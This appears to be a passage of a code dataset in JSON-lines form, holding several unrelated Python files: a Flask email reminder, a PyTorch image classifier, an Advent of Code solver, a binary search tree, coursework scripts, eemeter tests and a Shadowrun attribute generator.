\"Email\": \"zzpwestlife@gmail.com\",\n \"Name\": \"Joey\"\n },\n \"To\": [\n {\n \"Email\": user.email,\n \"Name\": user.username,\n }\n ],\n \"Subject\": \"Complete your to-do item now!\",\n \"TextPart\": \"You have set the deadline for this item\",\n \"HTMLPart\": \"

Dear {},
\"\n \"please visit here to complete your to-do.

\"\n \"Title: {}
\"\n \"Description: {}
\"\n \"Deadline: {}
\"\n \"
May the flask force be with you!

\".format(\n user.username, todo.title, todo.description, todo.deadline),\n \"CustomID\": str(todo.id)\n }\n ]\n }\n\n result = mailjet.send.create(data=data)\n logging.info(\"Mailjet result: {}\".format(result.status_code))\n if result.status_code != 200:\n return False\n return True\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"zzpwestlife/cs50_final_project","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24281315472","text":"import torch\nimport numpy as np\nfrom torch import nn\nfrom torch import optim\nimport torch.nn.functional as F\nfrom torchvision import datasets, transforms, models\n\nfrom PIL import Image\nimport json\n\n\ndef get_loaders(data_dir):\n\ttrain_dir = data_dir + '/train'\n\tvalid_dir = data_dir + '/valid'\n\ttest_dir = data_dir + '/test'\n\n\t# Define your transforms for the training, validation, and testing sets\n\ttrain_transforms = transforms.Compose([transforms.RandomRotation(30),\n\t\t\t\t\t\t\t\t\t\t transforms.RandomResizedCrop(224),\n\t\t\t\t\t\t\t\t\t\t transforms.RandomHorizontalFlip(),\n\t\t\t\t\t\t\t\t\t\t transforms.ToTensor(),\n\t\t\t\t\t\t\t\t\t\t transforms.Normalize([0.485, 0.456, 0.406], \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t[0.229, 0.224, 0.225])])\n\n\tvalid_transforms = transforms.Compose([transforms.Resize(256),\n\t\t\t\t\t\t\t\t\t\t transforms.CenterCrop(224),\n\t\t\t\t\t\t\t\t\t\t transforms.ToTensor(),\n\t\t\t\t\t\t\t\t\t\t transforms.Normalize([0.485, 0.456, 0.406], \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t [0.229, 0.224, 0.225])])\n\n\ttest_transforms = transforms.Compose([transforms.Resize(256),\n\t\t\t\t\t\t\t\t\t\t transforms.CenterCrop(224),\n\t\t\t\t\t\t\t\t\t\t transforms.ToTensor(),\n\t\t\t\t\t\t\t\t\t\t transforms.Normalize([0.485, 0.456, 0.406], \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t [0.229, 0.224, 0.225])])\n\n\n\t# Load the datasets with ImageFolder\n\ttrain_datasets = datasets.ImageFolder(train_dir, transform=train_transforms)\n\tvalid_datasets = datasets.ImageFolder(valid_dir, transform=valid_transforms)\n\ttest_datasets = datasets.ImageFolder(test_dir, transform=test_transforms)\n\n\n\t# Using the image datasets and the trainforms, define the dataloaders\n\ttrainloader = torch.utils.data.DataLoader(train_datasets, batch_size=64, shuffle=True)\n\tvalidloader = torch.utils.data.DataLoader(valid_datasets, batch_size=32)\n\ttestloader = torch.utils.data.DataLoader(test_datasets, batch_size=32)\n\t\n\treturn trainloader, validloader, testloader, train_datasets.class_to_idx\n\t\ndef label_mapping(json_file):\n\twith open(json_file, 'r') as f:\n\t\tcat_to_name = json.load(f)\n\treturn cat_to_name\n\ndef build_model(arch, hidden_units, output_size, dropout, lr):\n\tif arch == 'vgg16':\n\t\tmodel = models.vgg16(pretrained=True)\n\telif arch == 'alexnet':\n\t\tmodel = models.alexnet(pretrained=True)\n\telse:\n\t\traise ValueError('Unexpected arch', arch)\n \n \n\t# Freeze parameters so we don't backprop through them\n\tfor param in model.parameters():\n\t\tparam.requires_grad = False\n\n\t# Adding new classifier\n\tinput_size = model.classifier[0].in_features\n\t\n\tfrom collections import OrderedDict\n\tclassifier = nn.Sequential(OrderedDict([\n\t\t\t\t\t\t\t ('fc1', nn.Linear(input_size, hidden_units)),\n\t\t\t\t\t\t\t ('relu1', nn.ReLU()),\n\t\t\t\t\t\t\t ('Dropout', nn.Dropout(p=dropout)),\n\t\t\t\t\t\t\t ('fc2', nn.Linear(hidden_units, hidden_units)),\n\t\t\t\t\t\t\t ('relu2', nn.ReLU()),\n\t\t\t\t\t\t\t ('Dropout', nn.Dropout(p=dropout)),\n\t\t\t\t\t\t\t ('fc3', nn.Linear(hidden_units, output_size)),\n\t\t\t\t\t\t\t ('output', nn.LogSoftmax(dim=1))\n\t\t\t\t\t\t\t ]))\n\n\tmodel.classifier = classifier\n\t\n\tcriterion = nn.NLLLoss()\n\toptimizer = optim.Adam(model.classifier.parameters(), lr=lr)\n\t\n\treturn model, criterion, optimizer\n\t\n\t\n# Training Function\ndef training(model, trainloader, validloader, epochs, print_every, criterion, optimizer, gpu=False):\n epochs = epochs\n print_every = print_every\n steps = 0\n\n # change to device\n if gpu:\n model.to('cuda')\n\n for e in range(epochs):\n running_loss = 0\n model.train()\n for ii, (inputs, labels) in enumerate(trainloader):\n steps += 1\n\t\t\t\n if gpu:\n inputs, labels = inputs.to('cuda'), labels.to('cuda')\n\n optimizer.zero_grad()\n\n # Forward and backward passes\n outputs = model.forward(inputs)\n loss = criterion(outputs, labels)\n loss.backward()\n optimizer.step()\n\n running_loss += loss.item()\n\n if steps % print_every == 0:\n # Make sure network is in eval mode for inference\n model.eval()\n\n # Turn off gradients for validation, saves memory and computations\n with torch.no_grad():\n test_loss, accuracy = validation(model, validloader, criterion, gpu)\n \n print(\"Epoch: {}/{}.. \".format(e+1, epochs),\n \"Training Loss: {:.3f}.. \".format(running_loss/print_every),\n \"Validation Loss: {:.3f}.. \".format(test_loss/len(validloader)),\n \"Validation Accuracy: {:.3f}\".format(accuracy/len(validloader)))\n\n running_loss = 0\n \n # Make sure training is back on\n model.train()\n \n return model, optimizer\n \n# Validation Function\ndef validation(model, validloader, criterion, gpu=False):\n test_loss = 0\n accuracy = 0\n for images, labels in validloader:\n\t\t\n if gpu:\n images, labels = images.to('cuda'), labels.to('cuda')\n\n output = model.forward(images)\n test_loss += criterion(output, labels).item()\n\n ps = torch.exp(output)\n equality = (labels.data == ps.max(dim=1)[1])\n accuracy += equality.type(torch.FloatTensor).mean()\n \n return test_loss, accuracy\n\t\n\t\ndef save_checkpoint(checkpoint, model, optimizer, arch, input_size, output_size, hidden_units, dropout, class_to_idx, epoch, lr):\n\t# Save the checkpoint \n\tcheckpoint_dict = {'arch': arch,\n\t\t\t\t 'input_size': input_size,\n\t\t\t\t 'output_size': output_size,\n\t\t\t\t 'hidden_units': hidden_units,\n\t\t\t\t 'dropout': dropout,\n\t\t\t\t 'state_dict': model.state_dict(),\n\t\t\t\t 'class_to_idx': class_to_idx,\n\t\t\t\t 'optimizer_state_dict': optimizer.state_dict,\n\t\t\t\t 'epoch': epoch,\n\t\t\t\t 'lr': lr\n\t\t\t\t }\n\ttorch.save(checkpoint_dict, checkpoint)\n\t\n\t\ndef load_checkpoint(checkpoint):\n checkpoint_dict = torch.load(checkpoint)\n \n if checkpoint_dict['arch'] == 'vgg16':\n model = models.vgg16(pretrained=True)\n elif checkpoint_dict['arch'] == 'alexnet':\n model = models.alexnet(pretrained=True)\n else:\n raise ValueError('Unexpected arch', arch)\n\n # Freeze parameters so we don't backprop through them\n for param in model.parameters():\n param.requires_grad = False\n\n # Adding new classifier\n from collections import OrderedDict\n classifier = nn.Sequential(OrderedDict([\n ('fc1', nn.Linear(checkpoint_dict['input_size'], checkpoint_dict['hidden_units'])),\n ('relu1', nn.ReLU()),\n ('Dropout', nn.Dropout(p=checkpoint_dict['dropout'])),\n ('fc2', nn.Linear(checkpoint_dict['hidden_units'], checkpoint_dict['hidden_units'])),\n ('relu2', nn.ReLU()),\n ('Dropout', nn.Dropout(p=checkpoint_dict['dropout'])),\n ('fc3', nn.Linear(checkpoint_dict['hidden_units'], checkpoint_dict['output_size'])),\n ('output', nn.LogSoftmax(dim=1))\n ]))\n\n model.classifier = classifier\n model.load_state_dict(checkpoint_dict['state_dict'])\n model.class_to_idx = checkpoint_dict['class_to_idx']\n return model, checkpoint_dict['epoch'], checkpoint_dict['lr']\n\t\ndef process_image(image_path):\n ''' Scales, crops, and normalizes a PIL image for a PyTorch model,\n returns an Numpy array\n '''\n\n # Process a PIL image for use in a PyTorch model\n im = Image.open(image_path)\n \n # Resize using shortest side.\n width, height = im.size \n new_size = max(width, height) * 256 // min(width, height)\n shape = (256, new_size)\n if width > height:\n shape = (new_size, 256)\n im = im.resize(shape, Image.ANTIALIAS)\n \n width, height = im.size # Get dimensions\n left = (width - 224)/2\n top = (height - 224)/2\n right = (width + 224)/2\n bottom = (height + 224)/2\n\n im = im.crop((left, top, right, bottom))\n \n trans = transforms.Compose([ transforms.ToTensor() ])\n im = trans(im)\n \n np_image = np.array(im)\n mean = np.array([0.485, 0.456, 0.406])\n std = np.array([0.229, 0.224, 0.225])\n np_image = (np.transpose(np_image, (1, 2, 0)) - mean) / std\n \n #print (np_image)\n #print (np_image.shape)\n return np.transpose(np_image, (2, 0, 1))\n\t\n\ndef predict(image_path, checkpoint, json_file, topk=5, gpu=False):\n ''' Predict the class (or classes) of an image using a trained deep learning model.\n '''\n \n # Implement the code to predict the class from an image file\n img = process_image(image_path)\n \n model, e, lr = load_checkpoint(checkpoint)\n criterion = nn.NLLLoss()\n optimizer = optim.Adam(model.classifier.parameters(), lr=lr)\n \n if gpu:\n model.to('cuda')\n model.eval()\n\t\n if gpu:\n img_i = torch.FloatTensor(img).cuda()\n else:\n img_i = torch.FloatTensor(img)\n img_i.unsqueeze_(0)\n\n # Calculate the class probabilities (softmax) for img\n with torch.no_grad():\n output = model.forward(img_i)\n\n ps = torch.exp(output)\n t_topk = torch.topk(ps, topk)\n\t\n classes = np.asarray(t_topk[1])[0]\n names = []\n if json_file:\n cat_to_name = label_mapping(json_file)\n for c in classes: \n for m in model.class_to_idx:\n if model.class_to_idx[m] != c:\n continue\n names.append(cat_to_name[m])\n\n return (np.asarray(t_topk[0])[0], np.asarray(t_topk[1])[0], names)","repo_name":"ialeidan/Image-Classifier-Project","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":9418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3249596141","text":"# Day16.py\n#\n# First attempt at doing Day 16 of Advent of Code 2022\n#\n# With help from https://github.com/mebeim/aoc/blob/master/2022/README.md#day-16---proboscidea-volcanium\n\n\nimport sys\nsys.path.append(\"..\")\n\nfrom perf import calc_perf\nfrom random import choice\nfrom tqdm.auto import tqdm, trange\nfrom copy import deepcopy\nfrom collections import deque, defaultdict\nfrom itertools import combinations\n\n\ndef read_input(file_name):\n with open(file_name, 'r') as f:\n read_list = f.read().splitlines()\n\n split_list = [\n i.replace(' has', '; ').replace('rate=', '; ').replace('Valve ', '').replace('valve ', '; ').replace('valves ', '; ').split('; ') for i\n in read_list]\n\n flow_dict = dict()\n tunnel_dict = dict()\n for item in split_list:\n flow_dict[item[0]] = int(item[2])\n tunnel_dict[item[0]] = item[-1].split(', ')\n\n flow_mod_dict = deepcopy(flow_dict)\n\n for key, val in flow_dict.items():\n # print(key,val)\n if val == 0 and key != 'AA':\n flow_mod_dict.pop(key)\n\n return flow_dict, tunnel_dict, flow_mod_dict\n\n\ndef bfs_optimize(adj_array, start, end):\n parent = {start: None}\n d = {start: 0}\n visited = []\n\n queue = deque()\n queue.append(start)\n #print(end)\n while queue:\n u = queue.popleft()\n if u not in visited:\n visited.append(u)\n for n in adj_array[u]:\n # print(n)\n # if u in end:\n # print(f'Shortest path between {start} and {end} is {d[u]} steps.')\n # return parent, d\n if n not in d:\n if n not in parent:\n parent[n] = []\n parent[n].append(u)\n d[n] = d[u] + 1\n queue.append(n)\n return parent, d\n\ndef distance_matrix(flow_dict, tunnel_dict, skip_dict):\n seen = []\n parent = []\n dist = []\n order = []\n for key in skip_dict.keys():\n order.append(key)\n parent_out, dist_out = bfs_optimize(tunnel_dict, key, 0)\n parent.append(parent_out)\n dist.append(dist_out)\n seen.append([key])\n\n # Remove valves with 0 rates\n for valve in flow_dict:\n if valve not in skip_dict:\n for dict in dist:\n dict.pop(valve)\n\n #\n seen_dict = {}\n choices = []\n for idx, val in enumerate(seen):\n seen_dict[val[0]] = dist[idx]\n choices.append(val[0])\n\n choices.remove('AA')\n\n return parent, seen_dict, choices\n\ndef score(rates, chosen_valves):\n total = 0\n for valve, time_left in chosen_valves.items():\n total += rates[valve] * time_left\n return total\n\ndef choices(distance, rates, valves, time=30, cur='AA', chosen={}):\n for nxt in valves:\n new_time = time - (distance[cur][nxt] + 1)\n\n if new_time < 2:\n continue\n\n new_chosen = chosen | {nxt: new_time}\n yield from choices(distance, rates, valves - {nxt}, new_time, nxt, new_chosen)\n\n yield chosen\n\n\ndef main():\n ## Part 1\n # flow, path, skip = read_input(\"Day16_test_input.txt\")\n flow, path, skip = read_input(\"Day16_input.txt\")\n\n parent, dist, seen = distance_matrix(flow, path, skip)\n\n best = max(score(flow, c) for c in choices(dist, flow, set(seen)))\n\n print(f'Best path has with {best} of pressure released.')\n\ndef main2():\n # Part 2\n # flow, path, skip = read_input(\"Day16_test_input.txt\")\n flow, path, skip = read_input(\"Day16_input.txt\")\n\n parent, dist, seen = distance_matrix(flow, path, skip)\n\n maxscore = defaultdict(int)\n\n for solution in choices(dist, flow, set(seen), 26):\n k = frozenset(solution)\n s = score(flow, solution)\n\n if s > maxscore[k]:\n maxscore[k] = s\n\n best = max(sa + sb for (a, sa), (b, sb) in combinations(maxscore.items(), 2) if not a & b)\n\n print(f'Best path has with {best} of pressure released.')\n\nif __name__ == \"__main__\":\n ## Part 1\n # calc_perf(main())\n\n ## Part 2\n calc_perf(main2())\n","repo_name":"jeremyleung521/Advent_of_Code2022","sub_path":"python/Day16/Day16.py","file_name":"Day16.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70491499947","text":"class Node:\r\n '''\r\n left, right, comparison builtin\r\n '''\r\n def __init__(self, value):\r\n self.value = value\r\n self.left = None\r\n self.right = None\r\n\r\nclass BiSearchTree:\r\n '''\r\n add, remove, search\r\n '''\r\n def __init__(self):\r\n self.head = None\r\n \r\n\r\n def __search(self, value, up_node, node, dir=None):\r\n if node is None:\r\n result = (up_node, None, dir)\r\n elif value < node.value:\r\n result = self.__search(value, node, node.left, 'left')\r\n elif value > node.value:\r\n result = self.__search(value, node, node.right, 'right')\r\n else:\r\n result = (up_node, node, dir)\r\n \r\n return result\r\n\r\n def __traversal(self, node, level=0):\r\n if node is None:\r\n return\r\n else:\r\n print(' *' * level, node.value)\r\n self.__traversal(node.left, level + 1)\r\n self.__traversal(node.right, level + 1)\r\n\r\n def traversal(self):\r\n self.__traversal(self.head)\r\n\r\n\r\n def search(self, value):\r\n up, down, dir = self.__search(value, None, self.head)\r\n if down is None:\r\n return False\r\n else:\r\n return True\r\n\r\n def add(self, value):\r\n if self.head is None:\r\n self.head = Node(value)\r\n else:\r\n up, down, dir = self.__search(value, None, self.head)\r\n if down is not None:\r\n raise Exception('double item')\r\n else:\r\n new = Node(value)\r\n if dir == 'left':\r\n up.left = new\r\n else:\r\n up.right = new\r\n\r\n def remove(self, value):\r\n up, center, dir = self.__search(value, None, self.head)\r\n if center is None:\r\n raise Exception('no item')\r\n else:\r\n left, right = center.left, center.right\r\n if left is None and right is None:\r\n if up is None:\r\n self.head = None\r\n elif dir == 'left':\r\n up.left = None\r\n else:\r\n up.right = None\r\n elif left is None or right is None:\r\n child = right if left is None else left\r\n if dir == 'left':\r\n up.left = child\r\n else:\r\n up.right = child\r\n else:\r\n prev = center\r\n curr = center.left\r\n \r\n while curr.right:\r\n prev = curr\r\n curr = curr.right\r\n\r\n if prev is not center:\r\n prev.right = curr.left\r\n else:\r\n prev.left = curr.left\r\n \r\n curr.left = center.left\r\n curr.right = center.right\r\n\r\n if up is None:\r\n self.head = curr\r\n elif dir == 'left':\r\n up.left = curr\r\n else:\r\n up.right = curr\r\n\r\n\r\nbst = BiSearchTree()\r\nimport random\r\nx = list(range(20))\r\nrandom.shuffle(x)\r\nfor el in x:\r\n bst.add(el)\r\nbst.traversal()\r\n\r\nbst.remove(6)\r\nbst.traversal()\r\n\r\nbst.remove(10)\r\nbst.traversal()","repo_name":"Uniaut/Coding-Test-TIL","sub_path":"ds&algo/bi_search_tree.py","file_name":"bi_search_tree.py","file_ext":"py","file_size_in_byte":3272,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"39023037270","text":"# Q5 is a script that returns the average (across all students) raw mark for the exam. \n# \n# You should create and write your results into a .csv file q5Out.csv\n# with 1 column and the header row AverageMark\n#\n\nimport csv\nwith open(\"exam_for_2019.csv\") as csvfile:\n a=csv.reader(csvfile)\n headers=next(a)\n data=[]\n for row in a:\n data.append(row)\nrow=len(data)\nnumber=row/6\nautoscore=[]\nautoscore1=0\na=[]\nfor i in range(row):\n if i%6 != 5:\n autoscore1 = autoscore1 + float(data[i][5])\n else :\n autoscore1 = autoscore1 + float(data[i][6])\n\n\nAverageMark= autoscore1/number\nAverageMark=[format(AverageMark,'.2f')]\nprint(AverageMark)\n\nwith open('q5Out.csv', 'w',newline='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(['Rawmark'])\n writer.writerow(AverageMark)\n","repo_name":"Ryan-XC/UOM_AI","sub_path":"stubfor_cw1/q5.py","file_name":"q5.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35480175615","text":"from datetime import datetime\nimport tempfile\nimport json\n\nimport numpy as np\nimport pandas as pd\nimport pytest\nimport pytz\n\nfrom eemeter.io.serializers import serialize_split_modeled_energy_trace\nfrom eemeter.structures import (\n EnergyTrace,\n ModelingPeriod,\n ModelingPeriodSet,\n)\nfrom eemeter.modeling.formatters import (\n ModelDataFormatter,\n ModelDataBillingFormatter,\n)\nfrom eemeter.modeling.models import (\n SeasonalElasticNetCVModel,\n BillingElasticNetCVModel,\n)\nfrom eemeter.modeling.split import SplitModeledEnergyTrace\nfrom eemeter.testing import MockWeatherClient\nfrom eemeter.weather import ISDWeatherSource\n\n\n@pytest.fixture\ndef daily_trace():\n data = {\n \"value\": np.tile(1, (365,)),\n \"estimated\": np.tile(False, (365,)),\n }\n columns = [\"value\", \"estimated\"]\n index = pd.date_range('2000-01-01', periods=365, freq='D', tz=pytz.UTC)\n df = pd.DataFrame(data, index=index, columns=columns)\n return EnergyTrace(\"ELECTRICITY_CONSUMPTION_SUPPLIED\", df, unit=\"KWH\")\n\n\n@pytest.fixture\ndef monthly_trace():\n data = {\n \"value\": np.tile(1, (24,)),\n \"estimated\": np.tile(False, (24,)),\n }\n columns = [\"value\", \"estimated\"]\n index = pd.date_range('2000-01-01', periods=24, freq='MS', tz=pytz.UTC)\n df = pd.DataFrame(data, index=index, columns=columns)\n return EnergyTrace(\"ELECTRICITY_CONSUMPTION_SUPPLIED\", df, unit=\"KWH\")\n\n\n@pytest.fixture\ndef mock_isd_weather_source():\n tmp_url = \"sqlite:///{}/weather_cache.db\".format(tempfile.mkdtemp())\n ws = ISDWeatherSource(\"722880\", tmp_url)\n ws.client = MockWeatherClient()\n return ws\n\n\n@pytest.fixture\ndef modeling_period_set():\n modeling_period_1 = ModelingPeriod(\n \"BASELINE\",\n end_date=datetime(2000, 9, 1, tzinfo=pytz.UTC),\n )\n modeling_period_2 = ModelingPeriod(\n \"REPORTING\",\n start_date=datetime(2001, 1, 1, tzinfo=pytz.UTC),\n )\n modeling_periods = {\n \"modeling_period_1\": modeling_period_1,\n \"modeling_period_2\": modeling_period_2,\n }\n\n grouping = [\n (\"modeling_period_1\", \"modeling_period_2\"),\n ]\n\n return ModelingPeriodSet(modeling_periods, grouping)\n\n\n@pytest.fixture\ndef split_modeled_energy_trace_daily(daily_trace, modeling_period_set,\n mock_isd_weather_source):\n\n # create SplitModeledEnergyTrace\n formatter = ModelDataFormatter('D')\n model_mapping = {\n 'modeling_period_1': SeasonalElasticNetCVModel(65, 65),\n 'modeling_period_2': SeasonalElasticNetCVModel(65, 65),\n }\n smet = SplitModeledEnergyTrace(\n daily_trace, formatter, model_mapping, modeling_period_set)\n\n smet.fit(mock_isd_weather_source)\n return smet\n\n\n@pytest.fixture\ndef split_modeled_energy_trace_monthly(monthly_trace, modeling_period_set,\n mock_isd_weather_source):\n\n # create SplitModeledEnergyTrace\n formatter = ModelDataBillingFormatter()\n model_mapping = {\n 'modeling_period_1': BillingElasticNetCVModel(65, 65),\n 'modeling_period_2': BillingElasticNetCVModel(65, 65),\n }\n smet = SplitModeledEnergyTrace(\n monthly_trace, formatter, model_mapping, modeling_period_set)\n\n smet.fit(mock_isd_weather_source)\n return smet\n\n\ndef test_basic_usage_daily(split_modeled_energy_trace_daily):\n serialized = serialize_split_modeled_energy_trace(\n split_modeled_energy_trace_daily)\n\n # no error\n json.dumps(serialized)\n\n type_ = serialized[\"type\"]\n assert type_ == \"SPLIT_MODELED_ENERGY_TRACE\"\n\n fits = serialized[\"fits\"]\n mp1 = fits[\"modeling_period_1\"]\n mp2 = fits[\"modeling_period_2\"]\n\n assert mp1['status'] == \"SUCCESS\"\n assert mp1['traceback'] is None\n assert mp1['input_data'] is not None\n assert mp1['start_date'] is not None\n assert mp1['end_date'] is not None\n assert mp1['n_rows'] is not None\n\n model_fit = mp1['model_fit']\n assert model_fit[\"r2\"] is not None\n assert model_fit[\"cvrmse\"] is not None\n assert model_fit[\"rmse\"] is not None\n assert model_fit[\"lower\"] is not None\n assert model_fit[\"upper\"] is not None\n assert model_fit[\"n\"] is not None\n assert model_fit[\"model_params\"] is not None\n\n assert mp2['status'] == \"FAILURE\"\n assert mp2['traceback'] is not None\n assert len(mp2['input_data']) == 0\n assert mp2['start_date'] is None\n assert mp2['end_date'] is None\n assert mp2['n_rows'] is not None\n assert mp2['model_fit']['r2'] is None\n assert mp2['model_fit']['cvrmse'] is None\n assert mp2['model_fit']['rmse'] is None\n assert mp2['model_fit']['lower'] is None\n assert mp2['model_fit']['upper'] is None\n assert mp2['model_fit']['n'] is None\n assert mp2['model_fit']['model_params'] is not None\n\n modeling_period_set = serialized[\"modeling_period_set\"]\n modeling_periods = modeling_period_set[\"modeling_periods\"]\n\n modeling_period_groups = modeling_period_set[\"modeling_period_groups\"]\n assert len(modeling_period_groups) == 1\n assert modeling_period_groups[0][\"baseline\"] == \"modeling_period_1\"\n assert modeling_period_groups[0][\"reporting\"] == \"modeling_period_2\"\n\n assert modeling_periods[\"modeling_period_1\"][\"end_date\"] == \\\n '2000-09-01T00:00:00+00:00'\n\n\ndef test_basic_usage_monthly(split_modeled_energy_trace_monthly):\n serialized = serialize_split_modeled_energy_trace(\n split_modeled_energy_trace_monthly)\n\n # no error\n json.dumps(serialized)\n\n fits = serialized[\"fits\"]\n mp1 = fits[\"modeling_period_1\"]\n mp2 = fits[\"modeling_period_2\"]\n\n assert mp1['status'] == \"SUCCESS\"\n assert mp1['traceback'] is None\n assert mp1['input_data'] is not None\n assert mp1['start_date'] is not None\n assert mp1['end_date'] is not None\n assert mp1['n_rows'] is not None\n\n model_fit = mp1['model_fit']\n assert model_fit[\"r2\"] is not None\n assert model_fit[\"cvrmse\"] is not None\n assert model_fit[\"rmse\"] is not None\n assert model_fit[\"lower\"] is not None\n assert model_fit[\"upper\"] is not None\n assert model_fit[\"n\"] is not None\n assert model_fit[\"model_params\"] is not None\n\n assert mp2['status'] == \"SUCCESS\"\n assert mp2['traceback'] is None\n assert len(mp2['input_data']) > 0\n assert mp2['start_date'] is not None\n assert mp2['end_date'] is not None\n assert mp2['n_rows'] is not None\n assert mp2['model_fit'] is not None\n\n modeling_period_set = serialized[\"modeling_period_set\"]\n\n modeling_period_groups = modeling_period_set[\"modeling_period_groups\"]\n assert len(modeling_period_groups) == 1\n assert modeling_period_groups[0][\"baseline\"] == \"modeling_period_1\"\n assert modeling_period_groups[0][\"reporting\"] == \"modeling_period_2\"\n\n modeling_periods = modeling_period_set[\"modeling_periods\"]\n\n assert modeling_periods[\"modeling_period_1\"][\"end_date\"] == \\\n '2000-09-01T00:00:00+00:00'\n","repo_name":"jeremyzhang2008/eemeter-master","sub_path":"tests/io/test_serialize_split_modeled_energy_trace.py","file_name":"test_serialize_split_modeled_energy_trace.py","file_ext":"py","file_size_in_byte":6904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4542574389","text":"import random\nimport math\n\nattr12 = [[i, j, k, l, m, n, o, p] for i in range(0, 6)\n for j in range(0, 6)\n for k in range(0, 6)\n for l in range(0, 6)\n for m in range(0, 6)\n for n in range(0, 6)\n for o in range(0, 6)\n for p in range(0, 6)\n if (i + j + k + l + m + n + o + p) == 12\n and ((i, j, k, l, m, n, o, p).count(5) <= 1)]\n\nattr14 = [[i, j, k, l, m, n, o, p] for i in range(0, 6)\n for j in range(0, 6)\n for k in range(0, 6)\n for l in range(0, 6)\n for m in range(0, 6)\n for n in range(0, 6)\n for o in range(0, 6)\n for p in range(0, 6)\n if (i + j + k + l + m + n + o + p) == 14\n and ((i, j, k, l, m, n, o, p).count(5) <= 1)]\n\nattr16 = [[i, j, k, l, m, n, o, p] for i in range(0, 6)\n for j in range(0, 6)\n for k in range(0, 6)\n for l in range(0, 6)\n for m in range(0, 6)\n for n in range(0, 6)\n for o in range(0, 6)\n for p in range(0, 6)\n if (i + j + k + l + m + n + o + p) == 16\n and ((i, j, k, l, m, n, o, p).count(5) <= 1)]\n\nattr20 = [[i, j, k, l, m, n, o, p] for i in range(0, 6)\n for j in range(0, 6)\n for k in range(0, 6)\n for l in range(0, 6)\n for m in range(0, 6)\n for n in range(0, 6)\n for o in range(0, 6)\n for p in range(0, 6)\n if (i + j + k + l + m + n + o + p) == 20\n and ((i, j, k, l, m, n, o, p).count(5) <= 1)]\n\nattr24 = [[i, j, k, l, m, n, o, p] for i in range(0, 6)\n for j in range(0, 6)\n for k in range(0, 6)\n for l in range(0, 6)\n for m in range(0, 6)\n for n in range(0, 6)\n for o in range(0, 6)\n for p in range(0, 6)\n if (i + j + k + l + m + n + o + p) == 24\n and ((i, j, k, l, m, n, o, p).count(5) <= 1)]\n\nattr_list = []\n\nattr_list.append(attr12)\nattr_list.append(attr14)\nattr_list.append(attr16)\nattr_list.append(attr20)\nattr_list.append(attr24)\n\nlimit_list = [[], [], [], [], []]\n\nessence = 6\n\n# How long each list is\n\n##for unit in range(len(attr_list)):\n## print(\"{} is {} items long.\\n\".format(str(unit), str(len(attr_list[unit]))))\n\ndef limit_maker(l):\n '''makes my list of limits in the same order\n of my list of attributes'''\n #It is to be noted that you MUST call float() on LHS before dividing*\n for priority in attr_list:\n for combination in priority:\n physical = math.ceil( float( (2 * (combination[3] + 1) ) + (combination[0] + 1) + (combination[1] + 1) ) / 3)\n mental = math.ceil( float( (2 * (combination[5] + 1) ) + (combination[6] + 1) + (combination[4] + 1) ) / 3)\n social = math.ceil( float( (2 * (combination[7] + 1) ) + (combination[4] + 1) + essence ) / 3)\n combination_limit = [physical, mental, social]\n l[attr_list.index(priority)].append(combination_limit)\n\n return l\n\n\nlimit_maker(limit_list)\n\n#this function will gives a print out for a random set of attributes and its corresponding limit\n\ndef limit_printer(a, x):\n '''for any given attribute set, and its corresponding limit\n take them and print'''\n\n chosen_attr = attr_list[a][x]\n chosen_lim = limit_list[a][x]\n\n\n your_attr = \"Your attributes are:\\n\\n Bod: {} Agi: {} Rea: {} Str: {} Will: {} Log: {} Int: {} Cha: {}\\n\".format((attr_list[a][x][0] + 1),\n (attr_list[a][x][1] + 1),\n (attr_list[a][x][2] + 1),\n (attr_list[a][x][3] + 1),\n (attr_list[a][x][4] + 1),\n (attr_list[a][x][5] + 1),\n (attr_list[a][x][6] + 1),\n (attr_list[a][x][7] + 1))\n your_lim = \"Your limits:\\n\\n Physical: {} Mental: {} Social: {}\".format(limit_list[a][x][0],\n limit_list[a][x][1],\n limit_list[a][x][2],)\n\n print(\"{}\\n\\n{}\\n\".format(chosen_attr, chosen_lim))\n\n print(\"{}\\n\\n{}\\n\".format(your_attr, your_lim))\n\n## sample of this working\n\n##a = random.randint(0, len(attr_list) - 1)\n##x = random.randint(0, len(attr_list[a]) - 1)\n##\n##limit_printer(a, x)\n \n# now let's fine the max's\n\ndef attr_lim_max(attributes):\n '''if an attribute sets limit sums to the max, add it to the list of max's, call lim_printer(a, x), else nothing'''\n\n themax = 0\n attrlimmax = [[], [], [], [], []]\n\n # max just won't work for this because there is more than one sum that equals a max\n # as the loop continues you have to delete the sums less than the new max.\n # the Big-O gets big terrible because of this: N^2 for append, and N^2 for the remove\n # would probabably be a good idea to think of a data structure to make this faster\n\n for priority in range(len(attributes)):\n for attri_set in range(len(attributes[priority])):\n if sum(attributes[priority][attri_set]) >= themax:\n themax = sum(attributes[priority][attri_set])\n attrlimmax[priority].append(attributes[priority][attri_set])\n #limit_printer(priority, attri_set)\n for attribute in attrlimmax:\n for priorities in attribute:\n if sum(priorities) < themax:\n attrlimmax.remove(priorities)\n\n \n\nattr_lim_max(attr_list)\n","repo_name":"Solinari/Shadowrun-Attribute-Generator-Project","sub_path":"SR5_Attribute_lists.py","file_name":"SR5_Attribute_lists.py","file_ext":"py","file_size_in_byte":6226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32994672109","text":"\r\ndef convCad(cad): \r\n salida = \"\" \r\n\r\n for i in cad: \r\n salida += str(ord(i)) \r\n 